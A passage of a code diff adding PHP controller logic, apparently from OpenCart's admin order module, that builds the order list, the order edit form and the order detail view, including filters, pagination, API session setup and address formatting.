+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['invoice'] = $this->url->link('sale/order/invoice', 'user_token=' . $this->session->data['user_token'], true);
+ $data['shipping'] = $this->url->link('sale/order/shipping', 'user_token=' . $this->session->data['user_token'], true);
+ $data['add'] = $this->url->link('sale/order/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = str_replace('&', '&', $this->url->link('sale/order/delete', 'user_token=' . $this->session->data['user_token'] . $url, true));
+
+ $data['orders'] = array();
+
+ $filter_data = array(
+ 'filter_order_id' => $filter_order_id,
+ 'filter_customer' => $filter_customer,
+ 'filter_order_status' => $filter_order_status,
+ 'filter_order_status_id' => $filter_order_status_id,
+ 'filter_total' => $filter_total,
+ 'filter_date_added' => $filter_date_added,
+ 'filter_date_modified' => $filter_date_modified,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $order_total = $this->model_sale_order->getTotalOrders($filter_data);
+
+ $results = $this->model_sale_order->getOrders($filter_data);
+
+ foreach ($results as $result) {
+ $data['orders'][] = array(
+ 'order_id' => $result['order_id'],
+ 'customer' => $result['customer'],
+ 'order_status' => $result['order_status'] ? $result['order_status'] : $this->language->get('text_missing'),
+ 'total' => $this->currency->format($result['total'], $result['currency_code'], $result['currency_value']),
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'date_modified' => date($this->language->get('date_format_short'), strtotime($result['date_modified'])),
+ 'shipping_code' => $result['shipping_code'],
+ 'view' => $this->url->link('sale/order/info', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'] . $url, true),
+ 'edit' => $this->url->link('sale/order/edit', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . $result['order_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_order'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=o.order_id' . $url, true);
+ $data['sort_customer'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=customer' . $url, true);
+ $data['sort_status'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=order_status' . $url, true);
+ $data['sort_total'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=o.total' . $url, true);
+ $data['sort_date_added'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=o.date_added' . $url, true);
+ $data['sort_date_modified'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . '&sort=o.date_modified' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $order_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($order_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($order_total - $this->config->get('config_limit_admin'))) ? $order_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $order_total, ceil($order_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_order_id'] = $filter_order_id;
+ $data['filter_customer'] = $filter_customer;
+ $data['filter_order_status'] = $filter_order_status;
+ $data['filter_order_status_id'] = $filter_order_status_id;
+ $data['filter_total'] = $filter_total;
+ $data['filter_date_added'] = $filter_date_added;
+ $data['filter_date_modified'] = $filter_date_modified;
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ // API login
+ $data['catalog'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ // API login
+ $this->load->model('user/api');
+
+ $api_info = $this->model_user_api->getApi($this->config->get('config_api_id'));
+
+ if ($api_info && $this->user->hasPermission('modify', 'sale/order')) {
+ $session = new Session($this->config->get('session_engine'), $this->registry);
+
+ $session->start();
+
+ $this->model_user_api->deleteApiSessionBySessionId($session->getId());
+
+ $this->model_user_api->addApiSession($api_info['api_id'], $session->getId(), $this->request->server['REMOTE_ADDR']);
+
+ $session->data['api_id'] = $api_info['api_id'];
+
+ $data['api_token'] = $session->getId();
+ } else {
+ $data['api_token'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/order_list', $data));
+ }
+
+ public function getForm() {
+ $data['text_form'] = !isset($this->request->get['order_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['cancel'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->get['order_id'])) {
+ $order_info = $this->model_sale_order->getOrder($this->request->get['order_id']);
+ }
+
+ if (!empty($order_info)) {
+ $data['order_id'] = (int)$this->request->get['order_id'];
+ $data['store_id'] = $order_info['store_id'];
+ $data['store_url'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ $data['customer'] = $order_info['customer'];
+ $data['customer_id'] = $order_info['customer_id'];
+ $data['customer_group_id'] = $order_info['customer_group_id'];
+ $data['firstname'] = $order_info['firstname'];
+ $data['lastname'] = $order_info['lastname'];
+ $data['email'] = $order_info['email'];
+ $data['telephone'] = $order_info['telephone'];
+ $data['account_custom_field'] = $order_info['custom_field'];
+
+ $this->load->model('customer/customer');
+
+ $data['addresses'] = $this->model_customer_customer->getAddresses($order_info['customer_id']);
+
+ $data['payment_firstname'] = $order_info['payment_firstname'];
+ $data['payment_lastname'] = $order_info['payment_lastname'];
+ $data['payment_company'] = $order_info['payment_company'];
+ $data['payment_address_1'] = $order_info['payment_address_1'];
+ $data['payment_address_2'] = $order_info['payment_address_2'];
+ $data['payment_city'] = $order_info['payment_city'];
+ $data['payment_postcode'] = $order_info['payment_postcode'];
+ $data['payment_country_id'] = $order_info['payment_country_id'];
+ $data['payment_zone_id'] = $order_info['payment_zone_id'];
+ $data['payment_custom_field'] = $order_info['payment_custom_field'];
+ $data['payment_method'] = $order_info['payment_method'];
+ $data['payment_code'] = $order_info['payment_code'];
+
+ $data['shipping_firstname'] = $order_info['shipping_firstname'];
+ $data['shipping_lastname'] = $order_info['shipping_lastname'];
+ $data['shipping_company'] = $order_info['shipping_company'];
+ $data['shipping_address_1'] = $order_info['shipping_address_1'];
+ $data['shipping_address_2'] = $order_info['shipping_address_2'];
+ $data['shipping_city'] = $order_info['shipping_city'];
+ $data['shipping_postcode'] = $order_info['shipping_postcode'];
+ $data['shipping_country_id'] = $order_info['shipping_country_id'];
+ $data['shipping_zone_id'] = $order_info['shipping_zone_id'];
+ $data['shipping_custom_field'] = $order_info['shipping_custom_field'];
+ $data['shipping_method'] = $order_info['shipping_method'];
+ $data['shipping_code'] = $order_info['shipping_code'];
+
+ // Products
+ $data['order_products'] = array();
+
+ $products = $this->model_sale_order->getOrderProducts($this->request->get['order_id']);
+
+ foreach ($products as $product) {
+ $data['order_products'][] = array(
+ 'product_id' => $product['product_id'],
+ 'name' => $product['name'],
+ 'model' => $product['model'],
+ 'option' => $this->model_sale_order->getOrderOptions($this->request->get['order_id'], $product['order_product_id']),
+ 'quantity' => $product['quantity'],
+ 'price' => $product['price'],
+ 'total' => $product['total'],
+ 'reward' => $product['reward']
+ );
+ }
+
+ // Vouchers
+ $data['order_vouchers'] = $this->model_sale_order->getOrderVouchers($this->request->get['order_id']);
+
+ $data['coupon'] = '';
+ $data['voucher'] = '';
+ $data['reward'] = '';
+
+ $data['order_totals'] = array();
+
+ $order_totals = $this->model_sale_order->getOrderTotals($this->request->get['order_id']);
+
+ foreach ($order_totals as $order_total) {
+ // If coupon, voucher or reward points
+ $start = strpos($order_total['title'], '(') + 1;
+ $end = strrpos($order_total['title'], ')');
+
+ if ($start && $end) {
+ $data[$order_total['code']] = substr($order_total['title'], $start, $end - $start);
+ }
+ }
+
+ $data['order_status_id'] = $order_info['order_status_id'];
+ $data['comment'] = $order_info['comment'];
+ $data['affiliate_id'] = $order_info['affiliate_id'];
+ $data['affiliate'] = $order_info['affiliate_firstname'] . ' ' . $order_info['affiliate_lastname'];
+ $data['currency_code'] = $order_info['currency_code'];
+ } else {
+ $data['order_id'] = 0;
+ $data['store_id'] = 0;
+ $data['store_url'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ $data['customer'] = '';
+ $data['customer_id'] = '';
+ $data['customer_group_id'] = $this->config->get('config_customer_group_id');
+ $data['firstname'] = '';
+ $data['lastname'] = '';
+ $data['email'] = '';
+ $data['telephone'] = '';
+ $data['customer_custom_field'] = array();
+
+ $data['addresses'] = array();
+
+ $data['payment_firstname'] = '';
+ $data['payment_lastname'] = '';
+ $data['payment_company'] = '';
+ $data['payment_address_1'] = '';
+ $data['payment_address_2'] = '';
+ $data['payment_city'] = '';
+ $data['payment_postcode'] = '';
+ $data['payment_country_id'] = '';
+ $data['payment_zone_id'] = '';
+ $data['payment_custom_field'] = array();
+ $data['payment_method'] = '';
+ $data['payment_code'] = '';
+
+ $data['shipping_firstname'] = '';
+ $data['shipping_lastname'] = '';
+ $data['shipping_company'] = '';
+ $data['shipping_address_1'] = '';
+ $data['shipping_address_2'] = '';
+ $data['shipping_city'] = '';
+ $data['shipping_postcode'] = '';
+ $data['shipping_country_id'] = '';
+ $data['shipping_zone_id'] = '';
+ $data['shipping_custom_field'] = array();
+ $data['shipping_method'] = '';
+ $data['shipping_code'] = '';
+
+ $data['order_products'] = array();
+ $data['order_vouchers'] = array();
+ $data['order_totals'] = array();
+
+ $data['order_status_id'] = $this->config->get('config_order_status_id');
+ $data['comment'] = '';
+ $data['affiliate_id'] = '';
+ $data['affiliate'] = '';
+ $data['currency_code'] = $this->config->get('config_currency');
+
+ $data['coupon'] = '';
+ $data['voucher'] = '';
+ $data['reward'] = '';
+ }
+
+ // Stores
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $results = $this->model_setting_store->getStores();
+
+ foreach ($results as $result) {
+ $data['stores'][] = array(
+ 'store_id' => $result['store_id'],
+ 'name' => $result['name']
+ );
+ }
+
+ // Customer Groups
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ // Custom Fields
+ $this->load->model('customer/custom_field');
+
+ $data['custom_fields'] = array();
+
+ $filter_data = array(
+ 'sort' => 'cf.sort_order',
+ 'order' => 'ASC'
+ );
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields($filter_data);
+
+ foreach ($custom_fields as $custom_field) {
+ $data['custom_fields'][] = array(
+ 'custom_field_id' => $custom_field['custom_field_id'],
+ 'custom_field_value' => $this->model_customer_custom_field->getCustomFieldValues($custom_field['custom_field_id']),
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field['value'],
+ 'type' => $custom_field['type'],
+ 'location' => $custom_field['location'],
+ 'sort_order' => $custom_field['sort_order']
+ );
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ $this->load->model('localisation/currency');
+
+ $data['currencies'] = $this->model_localisation_currency->getCurrencies();
+
+ $data['voucher_min'] = $this->config->get('config_voucher_min');
+
+ $this->load->model('sale/voucher_theme');
+
+ $data['voucher_themes'] = $this->model_sale_voucher_theme->getVoucherThemes();
+
+ // API login
+ $data['catalog'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+
+ // API login
+ $this->load->model('user/api');
+
+ $api_info = $this->model_user_api->getApi($this->config->get('config_api_id'));
+
+ if ($api_info && $this->user->hasPermission('modify', 'sale/order')) {
+ $session = new Session($this->config->get('session_engine'), $this->registry);
+
+ $session->start();
+
+ $this->model_user_api->deleteApiSessionBySessionId($session->getId());
+
+ $this->model_user_api->addApiSession($api_info['api_id'], $session->getId(), $this->request->server['REMOTE_ADDR']);
+
+ $session->data['api_id'] = $api_info['api_id'];
+
+ $data['api_token'] = $session->getId();
+ } else {
+ $data['api_token'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('sale/order_form', $data));
+ }
+
+ public function info() {
+ $this->load->model('sale/order');
+
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $order_info = $this->model_sale_order->getOrder($order_id);
+
+ if ($order_info) {
+ $this->load->language('sale/order');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $data['text_ip_add'] = sprintf($this->language->get('text_ip_add'), $this->request->server['REMOTE_ADDR']);
+ $data['text_order'] = sprintf($this->language->get('text_order'), $this->request->get['order_id']);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_order_id'])) {
+ $url .= '&filter_order_id=' . $this->request->get['filter_order_id'];
+ }
+
+ if (isset($this->request->get['filter_customer'])) {
+ $url .= '&filter_customer=' . urlencode(html_entity_decode($this->request->get['filter_customer'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_order_status'])) {
+ $url .= '&filter_order_status=' . $this->request->get['filter_order_status'];
+ }
+
+ if (isset($this->request->get['filter_order_status_id'])) {
+ $url .= '&filter_order_status_id=' . $this->request->get['filter_order_status_id'];
+ }
+
+ if (isset($this->request->get['filter_total'])) {
+ $url .= '&filter_total=' . $this->request->get['filter_total'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['filter_date_modified'])) {
+ $url .= '&filter_date_modified=' . $this->request->get['filter_date_modified'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['shipping'] = $this->url->link('sale/order/shipping', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . (int)$this->request->get['order_id'], true);
+ $data['invoice'] = $this->url->link('sale/order/invoice', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . (int)$this->request->get['order_id'], true);
+ $data['edit'] = $this->url->link('sale/order/edit', 'user_token=' . $this->session->data['user_token'] . '&order_id=' . (int)$this->request->get['order_id'], true);
+ $data['cancel'] = $this->url->link('sale/order', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $data['order_id'] = (int)$this->request->get['order_id'];
+
+ $data['store_id'] = $order_info['store_id'];
+ $data['store_name'] = $order_info['store_name'];
+
+ if ($order_info['store_id'] == 0) {
+ $data['store_url'] = $this->request->server['HTTPS'] ? HTTPS_CATALOG : HTTP_CATALOG;
+ } else {
+ $data['store_url'] = $order_info['store_url'];
+ }
+
+ if ($order_info['invoice_no']) {
+ $data['invoice_no'] = $order_info['invoice_prefix'] . $order_info['invoice_no'];
+ } else {
+ $data['invoice_no'] = '';
+ }
+
+ $data['date_added'] = date($this->language->get('date_format_short'), strtotime($order_info['date_added']));
+
+ $data['firstname'] = $order_info['firstname'];
+ $data['lastname'] = $order_info['lastname'];
+
+ if ($order_info['customer_id']) {
+ $data['customer'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $order_info['customer_id'], true);
+ } else {
+ $data['customer'] = '';
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $customer_group_info = $this->model_customer_customer_group->getCustomerGroup($order_info['customer_group_id']);
+
+ if ($customer_group_info) {
+ $data['customer_group'] = $customer_group_info['name'];
+ } else {
+ $data['customer_group'] = '';
+ }
+
+ $data['email'] = $order_info['email'];
+ $data['telephone'] = $order_info['telephone'];
+
+ $data['shipping_method'] = $order_info['shipping_method'];
+ $data['payment_method'] = $order_info['payment_method'];
+
+ // Payment Address
+ if ($order_info['payment_address_format']) {
+ $format = $order_info['payment_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['payment_firstname'],
+ 'lastname' => $order_info['payment_lastname'],
+ 'company' => $order_info['payment_company'],
+ 'address_1' => $order_info['payment_address_1'],
+ 'address_2' => $order_info['payment_address_2'],
+ 'city' => $order_info['payment_city'],
+ 'postcode' => $order_info['payment_postcode'],
+ 'zone' => $order_info['payment_zone'],
+ 'zone_code' => $order_info['payment_zone_code'],
+ 'country' => $order_info['payment_country']
+ );
+
+ $data['payment_address'] = str_replace(array("\r\n", "\r", "\n"), '
', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), '
', trim(str_replace($find, $replace, $format))));
+
+ // Shipping Address
+ if ($order_info['shipping_address_format']) {
+ $format = $order_info['shipping_address_format'];
+ } else {
+ $format = '{firstname} {lastname}' . "\n" . '{company}' . "\n" . '{address_1}' . "\n" . '{address_2}' . "\n" . '{city} {postcode}' . "\n" . '{zone}' . "\n" . '{country}';
+ }
+
+ $find = array(
+ '{firstname}',
+ '{lastname}',
+ '{company}',
+ '{address_1}',
+ '{address_2}',
+ '{city}',
+ '{postcode}',
+ '{zone}',
+ '{zone_code}',
+ '{country}'
+ );
+
+ $replace = array(
+ 'firstname' => $order_info['shipping_firstname'],
+ 'lastname' => $order_info['shipping_lastname'],
+ 'company' => $order_info['shipping_company'],
+ 'address_1' => $order_info['shipping_address_1'],
+ 'address_2' => $order_info['shipping_address_2'],
+ 'city' => $order_info['shipping_city'],
+ 'postcode' => $order_info['shipping_postcode'],
+ 'zone' => $order_info['shipping_zone'],
+ 'zone_code' => $order_info['shipping_zone_code'],
+ 'country' => $order_info['shipping_country']
+ );
+
+ $data['shipping_address'] = str_replace(array("\r\n", "\r", "\n"), '
', preg_replace(array("/\s\s+/", "/\r\r+/", "/\n\n+/"), '
', trim(str_replace($find, $replace, $format))));
+
+ // Uploaded files
+ $this->load->model('tool/upload');
+
+ $data['products'] = array();
+
+ $products = $this->model_sale_order->getOrderProducts($this->request->get['order_id']);
+
+ foreach ($products as $product) {
+ $option_data = array();
+
+ $options = $this->model_sale_order->getOrderOptions($this->request->get['order_id'], $product['order_product_id']);
+
+ foreach ($options as $option) {
+ if ($option['type'] != 'file') {
+ $option_data[] = array(
+ 'name' => $option['name'],
+ 'value' => $option['value'],
+ 'type' => $option['type']
+ );
+ } else {
+ $upload_info = $this->model_tool_upload->getUploadByCode($option['value']);
+
+ if ($upload_info) {
+ $option_data[] = array(
+ 'name' => $option['name'],
+ 'value' => $upload_info['name'],
+ 'type' => $option['type'],
+ 'href' => $this->url->link('tool/upload/download', 'user_token=' . $this->session->data['user_token'] . '&code=' . $upload_info['code'], true)
+ );
+ }
+ }
+ }
+
+ $data['products'][] = array(
+ 'order_product_id' => $product['order_product_id'],
+ 'product_id' => $product['product_id'],
+ 'name' => $product['name'],
+ 'model' => $product['model'],
+ 'option' => $option_data,
+ 'quantity' => $product['quantity'],
+ 'price' => $this->currency->format($product['price'] + ($this->config->get('config_tax') ? $product['tax'] : 0), $order_info['currency_code'], $order_info['currency_value']),
+ 'total' => $this->currency->format($product['total'] + ($this->config->get('config_tax') ? ($product['tax'] * $product['quantity']) : 0), $order_info['currency_code'], $order_info['currency_value']),
+ 'href' => $this->url->link('catalog/product/edit', 'user_token=' . $this->session->data['user_token'] . '&product_id=' . $product['product_id'], true)
+ );
+ }
+
+ $data['vouchers'] = array();
+
+ $vouchers = $this->model_sale_order->getOrderVouchers($this->request->get['order_id']);
+
+ foreach ($vouchers as $voucher) {
+ $data['vouchers'][] = array(
+ 'description' => $voucher['description'],
+ 'amount' => $this->currency->format($voucher['amount'], $order_info['currency_code'], $order_info['currency_value']),
+ 'href' => $this->url->link('sale/voucher/edit', 'user_token=' . $this->session->data['user_token'] . '&voucher_id=' . $voucher['voucher_id'], true)
+ );
+ }
+
+ $data['totals'] = array();
+
+ $totals = $this->model_sale_order->getOrderTotals($this->request->get['order_id']);
+
+ foreach ($totals as $total) {
+ $data['totals'][] = array(
+ 'title' => $total['title'],
+ 'text' => $this->currency->format($total['value'], $order_info['currency_code'], $order_info['currency_value'])
+ );
+ }
+
+ $data['comment'] = nl2br($order_info['comment']);
+
+ $this->load->model('customer/customer');
+
+ $data['reward'] = $order_info['reward'];
+
+ $data['reward_total'] = $this->model_customer_customer->getTotalCustomerRewardsByOrderId($this->request->get['order_id']);
+
+ $data['affiliate_firstname'] = $order_info['affiliate_firstname'];
+ $data['affiliate_lastname'] = $order_info['affiliate_lastname'];
+
+ if ($order_info['affiliate_id']) {
+ $data['affiliate'] = $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $order_info['affiliate_id'], true);
+ } else {
+ $data['affiliate'] = '';
+ }
+
+ $data['commission'] = $this->currency->format($order_info['commission'], $order_info['currency_code'], $order_info['currency_value']);
+
+ $data['commission_total'] = $this->model_customer_customer->getTotalTransactionsByOrderId($this->request->get['order_id']);
+
+ $this->load->model('localisation/order_status');
+
+ $order_status_info = $this->model_localisation_order_status->getOrderStatus($order_info['order_status_id']);
+
+ if ($order_status_info) {
+ $data['order_status'] = $order_status_info['name'];
+ } else {
+ $data['order_status'] = '';
+ }
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ $data['order_status_id'] = $order_info['order_status_id'];
+
+ $data['account_custom_field'] = $order_info['custom_field'];
+
+ // Custom Fields
+ $this->load->model('customer/custom_field');
+
+ $data['account_custom_fields'] = array();
+
+ $filter_data = array(
+ 'sort' => 'cf.sort_order',
+ 'order' => 'ASC'
+ );
+
+ $custom_fields = $this->model_customer_custom_field->getCustomFields($filter_data);
+
+ foreach ($custom_fields as $custom_field) {
+ if ($custom_field['location'] == 'account' && isset($order_info['custom_field'][$custom_field['custom_field_id']])) {
+ if ($custom_field['type'] == 'select' || $custom_field['type'] == 'radio') {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($order_info['custom_field'][$custom_field['custom_field_id']]);
+
+ if ($custom_field_value_info) {
+ $data['account_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name']
+ );
+ }
+ }
+
+ if ($custom_field['type'] == 'checkbox' && is_array($order_info['custom_field'][$custom_field['custom_field_id']])) {
+ foreach ($order_info['custom_field'][$custom_field['custom_field_id']] as $custom_field_value_id) {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($custom_field_value_id);
+
+ if ($custom_field_value_info) {
+ $data['account_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $custom_field_value_info['name']
+ );
+ }
+ }
+ }
+
+ if ($custom_field['type'] == 'text' || $custom_field['type'] == 'textarea' || $custom_field['type'] == 'file' || $custom_field['type'] == 'date' || $custom_field['type'] == 'datetime' || $custom_field['type'] == 'time') {
+ $data['account_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $order_info['custom_field'][$custom_field['custom_field_id']]
+ );
+ }
+
+ if ($custom_field['type'] == 'file') {
+ $upload_info = $this->model_tool_upload->getUploadByCode($order_info['custom_field'][$custom_field['custom_field_id']]);
+
+ if ($upload_info) {
+ $data['account_custom_fields'][] = array(
+ 'name' => $custom_field['name'],
+ 'value' => $upload_info['name']
+ );
+ }
+ }
+ }
+ }
+
+ // Custom fields
+ $data['payment_custom_fields'] = array();
+
+ foreach ($custom_fields as $custom_field) {
+ if ($custom_field['location'] == 'address' && isset($order_info['payment_custom_field'][$custom_field['custom_field_id']])) {
+ if ($custom_field['type'] == 'select' || $custom_field['type'] == 'radio') {
+ $custom_field_value_info = $this->model_customer_custom_field->getCustomFieldValue($order_info['payment_custom_field'][$custom_field['custom_field_id']]);
+
